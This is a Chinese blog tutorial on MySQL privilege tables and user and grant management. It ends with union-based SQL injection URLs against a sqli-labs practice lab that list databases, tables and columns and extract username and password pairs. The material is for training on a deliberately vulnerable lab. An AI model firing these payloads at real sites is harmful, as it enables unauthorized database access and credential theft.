SQL注入之高权限注入(三)

SQL注入之高权限注入(三)

在数据库中区分数据库系统用户和数据库普通用户

MySQL中存在控制权限的表,分别为user,db,tables_priv,columns.priv表

User表:

存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限

Db表:

存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库

Tables_priv表:

存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表

Columns_priv表:

存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段

Procs_priv表:

存放存储过程和函数级别的权限

查看MySQL有哪些用户

复制代码
select user,host from mysql.user;

查看用户对应权限

复制代码
select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ,就是什么权限都有

创建用户

复制代码
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
create user 'test1'@'localhost' identified by '123456';
identified by '123456';设置密码

把普通用户变成管理员

复制代码
GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION; 

删除用户

复制代码
drop user finley@'localhost';

只提供id查询权限

复制代码
grant select(id) on test.temp to test1@'localhost' identified by '123456'; 
grant select(id) on test.users to test1@'localhost' identified by '123456' 

在 MySQL 数据库中为用户 'test1'@'localhost' 授予对表 temp 中 id 列的 SELECT 权限, 同时为用户设置密码 '123456'

select * from users; 会报错

select id from users;不会报错

当前用户必须是root,高权限,不然不能跨库查询

复制代码
查看当前服务器网络的所有数据库: schema_name,schemata
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata 
查看数据库test中,有哪些表,
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test'
查看表中的字段名
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users';
查看数据
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(username,'~',password) from users

http://localhost/sql/Less-2/?id=-1 union select 1,2,group_concat(name,'~',pass) from test.users
相关推荐
qq_4240985613 小时前
如何处理SQL数据源多样性_通过触发器实现转换逻辑
jvm·数据库·python
m0_7467523013 小时前
SQL分组统计中如何避免除以零错误_利用NULLIF函数处理分母
jvm·数据库·python
m0_7478545213 小时前
如何使用 Polars 从 AWS S3 高效读取 Parquet 文件
jvm·数据库·python
zhangchaoxies13 小时前
MySQL如何将生产库迁移到开发环境_脱敏处理与结构导入
jvm·数据库·python
2301_8148098613 小时前
如何对MongoDB聚合结果进行自定义排序_push与内存限制
jvm·数据库·python
a95114164214 小时前
Go语言中 & 与 - 操作符的语义解析:地址取值与指针解引用
jvm·数据库·python
qq_3345635514 小时前
如何编写高性能SQL存储过程循环_巧用集合代替游标操作
jvm·数据库·python
zore_c14 小时前
【C++】C++类和对象实现日期类项目——时间计算器!!!
java·c语言·数据库·c++·笔记·算法·排序算法
云边有个稻草人14 小时前
运营每次改数据都要等排期?我用飞牛NAS搭了个在线表格数据库,非技术也能自己管了
数据库·oracle
m0_6845019814 小时前
MySQL搭建主从后如何校验数据一致性_使用pt-table-sync修复差异
jvm·数据库·python